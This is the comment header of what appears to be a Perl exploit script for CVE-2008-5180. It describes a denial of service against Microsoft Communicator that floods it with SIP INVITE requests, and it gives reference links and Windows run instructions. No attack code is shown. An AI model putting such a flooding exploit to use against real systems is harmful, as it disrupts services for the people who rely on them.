################################################################################################################
#    Microsoft Communicator allows remote attackers to cause a denial of service (memory consumption) via
#    a large number of SIP INVITE requests, which trigger the creation of many sessions.
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5180
#    http://xforce.iss.net/xforce/xfdb/46673
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
